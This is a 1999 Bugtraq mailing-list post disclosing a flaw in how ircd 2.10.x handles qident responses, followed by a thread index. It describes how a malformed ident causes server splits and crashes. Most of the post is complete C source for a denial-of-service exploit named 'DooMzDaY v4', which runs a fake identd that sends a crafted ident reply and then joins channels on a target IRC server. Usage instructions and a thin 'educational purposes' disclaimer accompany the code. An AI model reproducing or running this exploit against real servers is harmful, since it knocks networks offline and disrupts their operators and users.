Bugtraq mailing list archives
IRC: Exploit for a Bug in ircd2.10.x (qident)
From: psychoid () GMX NET (psychoid () GMX NET)
Date: Sun, 8 Aug 1999 02:31:23 +0200
I dont think that has been posted before. There is a bug in ircd 2.10.x used in ircnet in conjunction with qident. DESCRIPTION ----------- qident does not check sucessfully for spaces and characters as like *, ! and @. When using an ident as like "@o ! ! !", o would be treated as host, the parameters which are left, would be enhanced by the number of spaces provided by the ident. If this ident is accepted, the connected client will become a ghost. This ghost is not successfully transmitted to the ircnetwork, thereful only visible on the server it connects. That would not be problematic, but the real problems occur, when the bogus idented client joins a channel. The join is not being rejected by the network and transfers the bogus ident with the parameters. Then, a "protocol error" occurs, the server is forced to split from the rest of the network. More problematic gets the fact, when the bogus client gets collided. This can lead to a denial of service crashing the ircd completely. FIXES ----- The opers had been informed quite a time ago, there are only some servers left which react on that bogus ident. EXPLOIT ------- Attached you will find a simple exploit, which starts an irc client with a spoofed ident. There should not run in.identd, while the exploit is used. Also, you have to be root (used for the bind). And it's written for linux. GREETINGS --------- especially to suffkopp and his friend newroot. those lamers forced me to make it public. so far, psychoid www.psychoid.lam3rz.de -- Sent through Global Message Exchange - http://www.gmx.net /* DooMzDaY v4 - ircd 2.10.x/ircnet - exploit * for linux - written by psychoid from tcl * * general vulnerability found by Hippo * a fix already is available, but there are * also incomplete fixes out there. * * this splits a server from the network. Simple, isnt it ? * * if you really want to run this, there should not run * an in.identd on your machine. Also, you need to be root. * * erm, this is for educational purposes only. Even, if noone gets * hurt *g*. */ #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <setjmp.h> #include <signal.h> #include <string.h> #include <sys/time.h> jmp_buf jumpback; void timed_out( int sig ) { longjmp( jumpback, 0x0 ); } void fuck_it(int sig) { longjmp( jumpback, 0x0 ); } int settimeout(unsigned short sockh, unsigned short timeout) { fd_set rfds; struct timeval tv; FD_ZERO(&rfds); FD_SET(sockh,&rfds); tv.tv_sec=timeout; tv.tv_usec=0; select(sockh+1,&rfds,NULL,NULL,&tv); if (!FD_ISSET(sockh,&rfds)) { return 0; } else { return 1; } /* returns 0=timeout or error, 1=input there */ } unsigned long lookup(char *hostname) { struct hostent *name; unsigned long int address; if ((address = inet_addr(hostname)) != -1) return address; if ((name=gethostbyname(hostname)) == NULL) return -1; memcpy(&address,name->h_addr,name->h_length); return address; } int writesock(int sock,char *buf) { write(sock,buf,strlen(buf)); } int readsock(int sock,char *buf,int size) { int rc; fd_set rfds; struct timeval tv; int cnt; memset(buf,0x0,size); cnt=0; if (settimeout(sock,1)==1) { do { rc=read(sock,buf+cnt,1); if (rc==0) return rc; if (rc==-1) return rc; cnt++; } while (buf[cnt-1] != '\n' && buf[cnt-1] != '\r' && cnt<size); } return 0; } int sockconnect( unsigned short timeout, unsigned long iP, unsigned short port ) { int socky; int wasread; int currentsock; struct sockaddr_in address; struct hostent *athost; char lasock[0x100]; unsigned long tip; unsigned short prt; FILE *sockslist; FILE *lastsock; if (( socky = socket( AF_INET, SOCK_STREAM, 0x0 )) == -1 ) { return socky; } address.sin_family = AF_INET; address.sin_port = htons( port ); address.sin_addr.s_addr = iP; signal( SIGALRM, timed_out ); alarm(10); if ( setjmp( jumpback ) == 0x0 ) { if ( connect( socky, (struct sockaddr*)(&address), sizeof( address ))) { socky = -1; } } else { socky = -1; } fflush(stdout); alarm (0); return socky; } void brokenpipe() { printf("Broken Pipe\n"); return; } int tcpconnect( unsigned long iP, unsigned short port, unsigned short timeout ) { int socky; struct sockaddr_in address; struct sigaction sv; struct hostent *athost; char thathost[0x100]; char buffer[512]; int tries, length; socky = -1; tries = 0; sigemptyset(&sv.sa_mask); sv.sa_handler=brokenpipe; sigaction(SIGPIPE,&sv,NULL); /* if ((athost = gethostbyname (thathost)) == NULL) { return -1; }*/ fflush(stdout); if ((socky = sockconnect(timeout,iP,port)) == -1) { fprintf(stdout,"Connection refused.\n"); socky = -1; return socky; } if (socky == -1) printf("Connection refused.\n"); alarm( 0x0 ); return socky; } int ircdboost(char *host, int port, char *nick) { int sock; char buf[2048]; char *pt; printf("Step 2: Connecting to the IRC Server.\n"); sock=tcpconnect(lookup(host),port,10); if (sock==-1) { printf("Error: cant connect\n"); exit(0x0); } printf("Step 3: Connected.. sending user / join\n"); /* the star is very very important */ writesock(sock,"USER o a a :a\r\n"); snprintf(buf,sizeof(buf),"NICK %s\r\n",nick); writesock(sock,buf); snprintf(buf,sizeof(buf),"WHOIS kbnn%d\r\n",lookup(host)); writesock(sock,buf); /* this joins are needed to broadcast the user to the connected servers */ writesock(sock,"JOIN #sex\r\n"); /* yeah, right */ writesock(sock,"JOIN #showdown\r\n"); /* yeah, right */ writesock(sock,"JOIN #funfactory\r\n"); /* yeah, right */ writesock(sock,"JOIN #usa\r\n"); /* yeah, right */ writesock(sock,"JOIN #flirt.de\r\n"); /* yeah, right */ writesock(sock,"JOIN 0\r\n"); /* yeah, right */ printf("Step 4: Please press control+break to release the split.\n"); while (readsock(sock,buf,sizeof(buf)) >=0) { pt=strstr(buf,"PING"); if (pt==buf) { writesock(sock,"PONG :PPP\r\n"); } pt=strstr(buf,"ERROR"); if (pt==buf) break; printf(buf); } close(sock); } int main (int argc, char **argv) { int listensocket, insocket, outsocket; short listenport, destport; struct hostent *socks_he, *dest_he; struct sockaddr_in listen_sa, socks_sa; char buf[200]; int sopts = 1, maxfd; char c[100]; char *po; int length; int cnt; int rc; int lport,fport; fd_set rfds; lport= 0; fport =0; printf("\nDooMzDaY v4 - by psychoid\n"); printf("exploits a bug in the ircd ident request of ircd 2.10.x\n"); if (argc != 4) { printf ("Usage: %s ircserver port nick\n", argv[0]); printf ("Example: %s chat.bt.net 6669 killah\n\n", argv[0]); exit (1); } printf("Setting up..\n"); listenport = 113; listensocket = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); setsockopt (listensocket, SOL_SOCKET, SO_REUSEADDR, &sopts, sizeof (int)); memset (&listen_sa, 0, sizeof (struct sockaddr_in)); listen_sa.sin_port = htons (listenport); listen_sa.sin_addr.s_addr = htonl (INADDR_ANY); socks_sa.sin_port = htons (destport); if ((bind (listensocket, (struct sockaddr *) &listen_sa, sizeof (struct sockaddr_in))) == -1) { perror ("bind"); exit (1); } if ((listen (listensocket, 1)) == -1) { perror ("listen"); exit (1); } rc=fork(); if (rc ==0) { printf("\nStep 1: Starting identd\n"); sleep(2); /* the demon should really run */ ircdboost(argv[1],atoi(argv[2]),argv[3]); exit(0x0); } gee: sleep(1); printf(" Identd started.. listening.\n"); insocket = accept (listensocket, NULL, 0); if (insocket == -1) { perror ("accept"); exit (1); } while (1) { memset(c,0x0,sizeof(c)); FD_ZERO (&rfds); FD_SET (insocket, &rfds); select (insocket+1, &rfds, NULL, NULL, NULL); if (FD_ISSET (insocket, &rfds)) { length = recv (insocket, c, 100, 0); if (length == -1 || length == 0) break; sscanf(c," %d , %d", &lport, &fport); snprintf(buf,sizeof(buf),"%d , %d : USERID : UNIX : @o ! ! ! ! ! ! \r\n",lport,fport); printf("\nIdent : %s\n",buf); /* sending it a second time because of the lame 1st patch */ send(insocket,buf,strlen(buf),0); snprintf(buf,sizeof(buf),": USERID : UNIX : @o ! ! ! ! ! ! \r\n"); printf("\nIdent : %s\n",buf); send(insocket,buf,strlen(buf),0); break; } } sleep(1); close (insocket); close (listensocket); wait(0); exit(0x0); }
Current thread:
- Linux blind TCP spoofing, act II + others Nergal (Jul 31)
- Re: Linux blind TCP spoofing, act II + others Solar Designer (Aug 04)
- Re: Linux blind TCP spoofing, act II + others Alan Cox (Aug 06)
- Re: Linux blind TCP spoofing, act II + others Solar Designer (Aug 07)
- IRC: Exploit for a Bug in ircd2.10.x (qident) psychoid () GMX NET (Aug 07)
- FW1 UDP Port 0 DoS Malikai (Aug 09)
- Re: FW1 UDP Port 0 DoS Malikai (Aug 09)
- Re: Linux blind TCP spoofing, act II + others Alan Cox (Aug 06)
- Re: Linux blind TCP spoofing, act II + others Solar Designer (Aug 04)
- Re: Linux blind TCP spoofing, act II + others Salvatore Sanfilippo -antirez- (Aug 06)
- Re: Linux blind TCP spoofing, act II + others Theo de Raadt (Aug 07)
- Please pass the word: RAID registration deadlines! Gene Spafford (Aug 06)
- Crash FrontPage Remotely... Narr0w (Aug 07)
- Re: Linux blind TCP spoofing, act II + others David Wagner (Aug 07)
- Re: Linux blind TCP spoofing, act II + others Salvatore Sanfilippo -antirez- (Aug 09)